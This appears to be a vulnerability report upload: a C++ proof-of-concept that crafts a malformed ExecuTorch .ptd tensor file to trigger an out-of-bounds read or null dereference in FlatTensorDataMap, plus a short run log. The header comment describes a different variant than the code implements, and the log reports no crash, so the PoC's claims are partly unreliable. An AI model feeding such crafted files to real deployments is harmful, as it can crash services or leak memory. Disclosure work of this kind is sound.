Upload 3 files

asan_ptd_e2e.txt

@@ -0,0 +1,3 @@
+[poc] wrote poc/evil.ptd (256 bytes)
+[poc] calling get_tensor_layout("w") ...
+[poc] NO CRASH (unexpected): ok=1

craft_and_load_ptd.cpp

@@ -0,0 +1,98 @@
+// End-to-end PoC — crafts a malicious ExecuTorch .ptd and loads it through the REAL
+// FlatTensorDataMap loader, triggering the heap OOB read in TensorLayout::create.
+//
+// The malicious .ptd has a NamedData "w" whose TensorLayout sets:
+//   sizes     = [1,1,1,1]   (dim = 4; all small positive so calculate_nbytes passes)
+//   dim_order = [0]         (length 1)
+// create_tensor_layout (flat_tensor_data_map.cpp:118-123) builds the dim_order Span with
+// length dim(=4) over the 1-element dim_order buffer -> the guard at tensor_layout.cpp:54
+// is a no-op -> OOB read at tensor_layout.cpp:59.
+//
+// The .ptd byte layout replicates extension/flat_tensor/serialize/serialize.py exactly
+// (_FLATBUFFER_ALIGNMENT=16, segment_alignment=128, version=0, _insert_flatbuffer_header).
+
+#include <flatbuffers/flatbuffers.h>
+
+#include <executorch/extension/flat_tensor/serialize/flat_tensor_generated.h>
+
+#include <executorch/extension/data_loader/file_data_loader.h>
+#include <executorch/extension/flat_tensor/flat_tensor_data_map.h>
+
+#include <cstdint>
+#include <cstdio>
+#include <cstring>
+#include <string>
+#include <vector>
+
+using executorch::extension::FileDataLoader;
+using executorch::extension::FlatTensorDataMap;
+
+static uint64_t aligned_size(uint64_t n, uint64_t a) { return ((n + a - 1) / a) * a; }
+static void put_u32(std::string& s, size_t off, uint32_t v) { std::memcpy(&s[off], &v, 4); }
+static void append_u32(std::string& s, uint32_t v) { s.append(reinterpret_cast<char*>(&v), 4); }
+static void append_u64(std::string& s, uint64_t v) { s.append(reinterpret_cast<char*>(&v), 8); }
+
+int main(int argc, char** argv) {
+  const char* path = argc > 1 ? argv[1] : "evil.ptd";
+
+  // 1. Build the FlatTensor flatbuffer with the malicious TensorLayout.
+  flatbuffers::FlatBufferBuilder fbb;
+  std::vector<int32_t> sizes = {1, 1, 1, 1};   // dim = 4 (present, small positive)
+  // NULL-DEREF variant: omit dim_order entirely. flat_tensor.fbs marks dim_order optional
+  // (not (required)), so tensor_layout->dim_order() returns nullptr, and
+  // create_tensor_layout (flat_tensor_data_map.cpp:120) dereferences it: ->data() on null.
+  auto layout = flat_tensor_flatbuffer::CreateTensorLayoutDirect(
+      fbb, executorch_flatbuffer::ScalarType_FLOAT, &sizes, /*dim_order=*/nullptr);
+  auto named = flat_tensor_flatbuffer::CreateNamedDataDirect(fbb, "w", /*segment_index=*/0, layout);
+  std::vector<flatbuffers::Offset<flat_tensor_flatbuffer::NamedData>> nds = {named};
+  std::vector<flatbuffers::Offset<flat_tensor_flatbuffer::DataSegment>> segs = {
+      flat_tensor_flatbuffer::CreateDataSegment(fbb, /*offset=*/0, /*size=*/0)};
+  auto root = flat_tensor_flatbuffer::CreateFlatTensorDirect(fbb, /*version=*/0, &segs, &nds);
+  flat_tensor_flatbuffer::FinishFlatTensorBuffer(fbb, root);
+
+  std::string fb(reinterpret_cast<const char*>(fbb.GetBufferPointer()), fbb.GetSize());
+
+  // 2. Build + insert the FlatTensorHeader (serialize.py layout).
+  const uint64_t EXPECTED_LENGTH = 40;
+  const uint64_t padded_header_length = aligned_size(EXPECTED_LENGTH, 16);   // 48
+  const uint64_t segment_base_offset =
+      aligned_size(fb.size() + padded_header_length, 128);
+
+  std::string header;                          // FlatTensorHeader::to_bytes()
+  header.append("FH01", 4);
+  append_u32(header, (uint32_t)EXPECTED_LENGTH);
+  append_u64(header, padded_header_length);    // flatbuffer_offset
+  append_u64(header, (uint64_t)fb.size());      // flatbuffer_size
+  append_u64(header, segment_base_offset);     // segment_base_offset
+  append_u64(header, 0);                        // segment_data_size
+  header.resize(padded_header_length, '\0');    // pad to 48
+
+  // _insert_flatbuffer_header: bump root offset, keep magic, insert header, then tail.
+  uint32_t root_off;
+  std::memcpy(&root_off, fb.data(), 4);
+  std::string ptd;
+  append_u32(ptd, root_off + (uint32_t)padded_header_length);  // new root offset
+  ptd.append(fb, 4, 4);                                        // "FT01" identifier
+  ptd.append(header);                                          // padded header
+  ptd.append(fb, 8, fb.size() - 8);                           // remainder of flatbuffer
+  ptd.resize(segment_base_offset, '\0');                       // pad to segment_base_offset
+
+  FILE* f = std::fopen(path, "wb");
+  std::fwrite(ptd.data(), 1, ptd.size(), f);
+  std::fclose(f);
+  fprintf(stderr, "[poc] wrote %s (%zu bytes)\n", path, ptd.size());
+
+  // 3. Load it through the REAL loader -> triggers the OOB read.
+  auto loader = FileDataLoader::from(path);
+  if (!loader.ok()) { fprintf(stderr, "[poc] loader open failed\n"); return 2; }
+  auto map = FlatTensorDataMap::load(&loader.get());
+  if (!map.ok()) {
+    fprintf(stderr, "[poc] FlatTensorDataMap::load failed err=%u\n",
+            (unsigned)map.error());
+    return 3;
+  }
+  fprintf(stderr, "[poc] calling get_tensor_layout(\"w\") ...\n");
+  auto tl = map->get_tensor_layout(executorch::aten::string_view{"w", 1});
+  fprintf(stderr, "[poc] NO CRASH (unexpected): ok=%d\n", tl.ok());
+  return 0;
+}